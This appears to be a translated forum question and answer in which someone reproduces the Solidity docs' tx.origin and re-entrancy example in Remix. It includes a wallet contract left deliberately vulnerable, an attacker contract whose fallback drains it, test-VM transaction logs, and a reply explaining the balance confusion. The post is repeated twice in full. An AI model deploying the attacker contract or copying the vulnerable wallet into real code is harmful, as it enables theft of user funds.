重入不可重现
Re-entrancy not reproduceable
简短描述
我在玩 solidity readthedocs.
中的 tx.origin 示例的重入和误用
此示例展示了如何诱使用户钱包将调用帐户的所有资金转移到攻击者的帐户。
将 transfer
的调用更改为 call.value
以允许发送更多气体(因此可以为重入攻击调用自定义回退函数)后,我观察到的行为是我不明白(见下文)。
相关代码
用户钱包:
pragma solidity >=0.5.0 <0.7.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
constructor() public payable {
owner = msg.sender;
}
function() external payable {}
function transferTo(address payable dest, uint amount) public payable {
//require(tx.origin == owner, "tx.origin not owner");
dest.call.value(amount)("");
}
}
攻击者钱包:
pragma solidity >=0.5.0 <0.7.0;
interface TxUserWallet {
function transferTo(address payable dest, uint amount) external;
}
contract TxAttackWallet {
address payable owner;
constructor() public payable {
owner = msg.sender;
}
function() external payable {
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
我不明白的观察结果
我在 Remix 中编译并部署了合约。
当我调用函数TxUserWallet.transferTo
(从所有者的账户,有足够的气体,价值和余额)作为参数时(1)攻击者的钱包地址和(2)一些价值val
(小于 msg.value),然后我注意到转账了 val
的金额,而我预计 发件人账户总余额 被转移...?
当我注释掉攻击钱包的回退函数体,编译,部署,然后重复上面第1点的步骤,然后Remix报告交易成功,但是nothing 被转移,而在这种情况下我希望 val
被转移... ?
我的问题
如何理解以上观察结果?
交易:
从账户 1 部署攻击钱包:
[vm]
from:0xca3...a733c
to:TxAttackWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x37b...32f64
status 0x1 Transaction mined and execution succeed
transaction hash 0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
contract address 0x22e37c29ad8303c6b58d3cea5a3f86160278af01
from 0xca35b7d915458ef540ade6068dfe2f44e8fa733c
to TxAttackWallet.(constructor)
gas 3000000 gas
transaction cost 150927 gas
execution cost 74747 gas
hash 0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
input 0x608...b0032
decoded input {}
decoded output -
logs []
value 0 wei
正在从帐户 2(当前余额超过 100 以太币)部署用户钱包:
[vm]
from:0x147...c160c
to:TxUserWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x5c1...18439
status 0x1 Transaction mined and execution succeed
transaction hash 0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
contract address 0x1439818dd11823c45fff01af0cd6c50934e27ac0
from 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
to TxUserWallet.(constructor)
gas 3000000 gas
transaction cost 148247 gas
execution cost 72747 gas
hash 0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
input 0x608...b0032
decoded input {}
decoded output -
logs []
value 0 wei
使用攻击钱包地址从帐户 2(所有者)调用 TxUserWallet.transferTo
:
[vm]
from:0x147...c160c
to:TxUserWallet.transferTo(address,uint256) 0x143...27ac0
value:1000000000000000000 wei
data:0x2cc...03039
logs:0
hash:0xcfc...476b8
status 0x1 Transaction mined and execution succeed
transaction hash 0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
from 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
to TxUserWallet.transferTo(address,uint256) 0x1439818dd11823c45fff01af0cd6c50934e27ac0
gas 3000000 gas
transaction cost 40659 gas
execution cost 17723 gas
hash 0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
input 0x2cc...03039
decoded input {
"address dest": "0x22e37c29Ad8303c6b58D3Cea5A3f86160278af01",
"uint256 amount": {
"_hex": "0x3039"
}
}
decoded output {}
logs []
value 1000000000000000000 wei
现在账户2少了1个以太币,而不是被完全抢空。
您尝试转移的不是所有者的余额,而是合同余额。看看msg.sender.balance
这是合约余额,因为合约是发送这笔交易的人。它现在可以正常工作,因为您以交易价值将 etc 发送给合同。因此,合约余额等于您的交易价值。然后你将合约的全部余额发送到你的账户 1.
简短描述
我在玩 solidity readthedocs.
中的 tx.origin 示例的重入和误用此示例展示了如何诱使用户钱包将调用帐户的所有资金转移到攻击者的帐户。
将 transfer
的调用更改为 call.value
以允许发送更多气体(因此可以为重入攻击调用自定义回退函数)后,我观察到的行为是我不明白(见下文)。
相关代码
用户钱包:
pragma solidity >=0.5.0 <0.7.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
constructor() public payable {
owner = msg.sender;
}
function() external payable {}
function transferTo(address payable dest, uint amount) public payable {
//require(tx.origin == owner, "tx.origin not owner");
dest.call.value(amount)("");
}
}
攻击者钱包:
pragma solidity >=0.5.0 <0.7.0;
interface TxUserWallet {
function transferTo(address payable dest, uint amount) external;
}
contract TxAttackWallet {
address payable owner;
constructor() public payable {
owner = msg.sender;
}
function() external payable {
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
我不明白的观察结果
我在 Remix 中编译并部署了合约。
当我调用函数
TxUserWallet.transferTo
(从所有者的账户,有足够的气体,价值和余额)作为参数时(1)攻击者的钱包地址和(2)一些价值val
(小于 msg.value),然后我注意到转账了val
的金额,而我预计 发件人账户总余额 被转移...?当我注释掉攻击钱包的回退函数体,编译,部署,然后重复上面第1点的步骤,然后Remix报告交易成功,但是nothing 被转移,而在这种情况下我希望
val
被转移... ?
我的问题
如何理解以上观察结果?
交易:
从账户 1 部署攻击钱包:
[vm]
from:0xca3...a733c
to:TxAttackWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x37b...32f64
status 0x1 Transaction mined and execution succeed
transaction hash 0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
contract address 0x22e37c29ad8303c6b58d3cea5a3f86160278af01
from 0xca35b7d915458ef540ade6068dfe2f44e8fa733c
to TxAttackWallet.(constructor)
gas 3000000 gas
transaction cost 150927 gas
execution cost 74747 gas
hash 0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
input 0x608...b0032
decoded input {}
decoded output -
logs []
value 0 wei
正在从帐户 2(当前余额超过 100 以太币)部署用户钱包:
[vm]
from:0x147...c160c
to:TxUserWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x5c1...18439
status 0x1 Transaction mined and execution succeed
transaction hash 0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
contract address 0x1439818dd11823c45fff01af0cd6c50934e27ac0
from 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
to TxUserWallet.(constructor)
gas 3000000 gas
transaction cost 148247 gas
execution cost 72747 gas
hash 0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
input 0x608...b0032
decoded input {}
decoded output -
logs []
value 0 wei
使用攻击钱包地址从帐户 2(所有者)调用 TxUserWallet.transferTo
:
[vm]
from:0x147...c160c
to:TxUserWallet.transferTo(address,uint256) 0x143...27ac0
value:1000000000000000000 wei
data:0x2cc...03039
logs:0
hash:0xcfc...476b8
status 0x1 Transaction mined and execution succeed
transaction hash 0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
from 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
to TxUserWallet.transferTo(address,uint256) 0x1439818dd11823c45fff01af0cd6c50934e27ac0
gas 3000000 gas
transaction cost 40659 gas
execution cost 17723 gas
hash 0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
input 0x2cc...03039
decoded input {
"address dest": "0x22e37c29Ad8303c6b58D3Cea5A3f86160278af01",
"uint256 amount": {
"_hex": "0x3039"
}
}
decoded output {}
logs []
value 1000000000000000000 wei
现在账户2少了1个以太币,而不是被完全抢空。
您尝试转移的不是所有者的余额,而是合同余额。看看msg.sender.balance
这是合约余额,因为合约是发送这笔交易的人。它现在可以正常工作,因为您以交易价值将 etc 发送给合同。因此,合约余额等于您的交易价值。然后你将合约的全部余额发送到你的账户 1.